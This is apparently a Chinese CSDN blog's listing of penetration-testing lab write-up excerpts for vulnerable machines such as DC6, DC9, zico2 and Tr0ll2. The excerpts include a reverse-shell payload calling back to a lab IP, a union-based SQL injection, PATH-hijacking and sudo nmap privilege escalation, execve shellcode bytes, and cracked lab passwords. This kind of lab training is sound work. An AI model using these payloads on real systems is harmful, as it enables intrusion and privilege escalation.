qq_29726037-优快云博客

原创 017-靶场-FristiLeaks_1.3

图片中单词找到新目录下一个页面，页面里面找到泄露的用户名和base64编码图片里面的密码，登录后文件上传漏洞，上传木马使用的双后缀绕过。拿到shell后设置交互式终端admin目录下找到python加密方法，自己写解密，解密出两个密码，切换用户后用sudo提权，sudo提权文件不能执行，找到history，找到利用方法！目录扫描到/images/，robots.txt等，对里面的图片以及robots.txt等的信息进行收集，发现没有可利用的条件。测试了几个和收集到的信息相近的，发现内核提权走不通！

2026-07-16 11:38:03 216

原创 015-靶场-Node

端口扫描发现3000端口，点击页面，使用findsomething或者查看源码收集到js文件泄露的用户名和密码，md5破解，登录框登录成功，找到backup文件，里面泄露mark的密码，测试是ssh的密码。mark-----snowflake rastating-----未破解出来；md5解密之后：myP14ceAdm1nAcc0uNT-----manchester tom-----spongebob。

2026-07-14 19:00:13 172

原创 016-靶场--lampiao（msf进行漏洞利用及提权方法）

map -p- 192.168.115.0/24，nmap 192.168.115.160 -T4 -A -O，发现22、80、1898端口等。run ----执行，如果ip不对，则设置一下本机的ip set lhost ，保证在一个网段。上面信息收集，确定了网站是使用drupal 7 cms，网上搜索发现有可利用的漏洞！环境下载下来，在本地vamware测试！root 输入提示的密码即可！剩下的就是逐个试着如何利用了！检测是否可以进行内核提权)-

2026-01-07 18:59:43 758

原创 014靶场-NullByte

那为什么又用软连接和环境变量呢：在不加环境变量的时候执行procwatch遇到ps，linux的机制首先会从系统默认的环境变量寻找ps，如果我们把当前目录加入到环境变量，则执行的时候从我们加入的环境变量找ps，ps又是/bin/sh的软链接，所以找到了/bin/sh。提权原理，procwatch 文件的所属用户和所属主都是root，而且其它用户可以执行(ramses用户可以执行)，而且被设置了s位(写sql注入的时候直接写反弹shell命令进行反弹，这里就不说了，下去可以试验一下！

2025-12-18 18:10:36 901

原创 013靶场-zico2

说明可以执行系统命令，然后我们尝试用反弹shell 的形式，用kali连接,bash命令和nc都不成功，最后使用pytho的反弹shell成功page=../../usr/databases/myhack.php&cmd=export%20RHOST="192.168.115.130";

2025-12-17 21:15:21 946

原创 012靶场-WebDeveloper

然后换思路：使用kali自带的反弹shell脚本，位于：/usr/share/webshells/php/php-reverse-shell.php;COMMAND='php /var/www/html/wp-content/themes/twentyseventeen/404.php',最后反弹成功。小技巧：如果某个404页面反弹不成功可以换一个，也可以换监听端口，刚开始666不成功，最后换成777，反弹成功！此时测试提权成功，接下来只要修改COMMAND='id'中的命令即可，换whoami可以成功，

2025-12-13 17:19:08 926

原创 011靶场-pwnlab

因为可执行文件中有 cat:/home/mike/msg.txt命令，我们在kane目录自己构造一个cat，里面放一个 "/bin/bash",然后把自己构造的cat，保存在当前环境变量，执行msgmike文件的时候，这样执行到cat:/home/mike/msg.txt部分，优先在当前环境变量的目录查找cat命令执行名为cat的二进制文件，实际我们在/cat文件中写入的是/bin/bash，这就等于在mike用户权限下执行了bash,获得了mike用户的shell！/bin/sh--也可以！

2025-12-09 19:28:52 937

原创 010靶场-Tr0ll3

查看/etc/passwd时发现有一个 wytshadow 用户，现在又有一个wytshadow.cap,gold_star.txt是一个密码字典，我们使用 aircrack-ng 工具进行对wifi流量包进行密码爆破：aircrack-ng -w gold_star.txt wytshadow.cap，最后发现一个密码gaUoCe34t1。继续进行尝试，suid提权：find / -perm -4000 -print 2>/dev/null，发现也不行！history 查看历史命令；

2025-12-07 19:23:17 407

原创 009靶场-Tr0ll1

把good_luck/which_one_lol.txt的信息和/this_folder_contains_the_password/Pass.txt下的信息做为ssh 爆破的用户名和密码，最后发现用户名是overflow，密码居然是文件名Pass.txt(虽然有点狗，但是提供了一个思路)！首先想到的是内核提权，根据收集的信息kali里面搜索：searchsploit Ubuntu 14.04 Privilege Linux 3.13，根据收集的信息，逐步缩小搜索的范围，有利用做实验！

2025-12-07 11:30:20 499

原创 008靶场-Tr0ll2

栈随机化指运行时栈的起始地址为随机的，所以我们存放shellcode的esp的地址也会发生对应的改变，在shellcode前注入很长的 nop(\x90)指令(无操作，仅使程序计数器加一)序列，程序计数器逐步加一，直到到达攻击代码的存在的地址。查找到的shellcode：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80。如果6个字符，任然可以覆盖返回地址，但是有冗余！

2025-12-06 16:04:08 785

原创 007靶场-DC9（*）

继续探测字段值：search=Jerry' union select (SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(Users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,UserID,Username,Password,0x3c62723e))))x),2,3,4,5,6 #--然后探测数据库：search=Jerry' union select database(),2,3,4,5,database() #--

2025-12-03 15:26:28 561

原创 006靶场-DC6

kali提供了一款为WordPress做漏洞扫描的黑盒子扫描器，wpsacn，我们使用wpscan扫描一下我们的目标url：wpscan --url http://wordy/ --enumerate u，意思是枚举一下我们站点的默认用户名，然后nmap提权：echo "os.execute('/bin/bash')" > /tmp/TF,sudo nmap --script=/tmp/TF。发现登录成功，由于此靶场开了22端口，我们使用mark和helpdesk01登录ssh试试,，发现登录不成功！

2025-11-27 19:20:38 768

qq_29726037的博客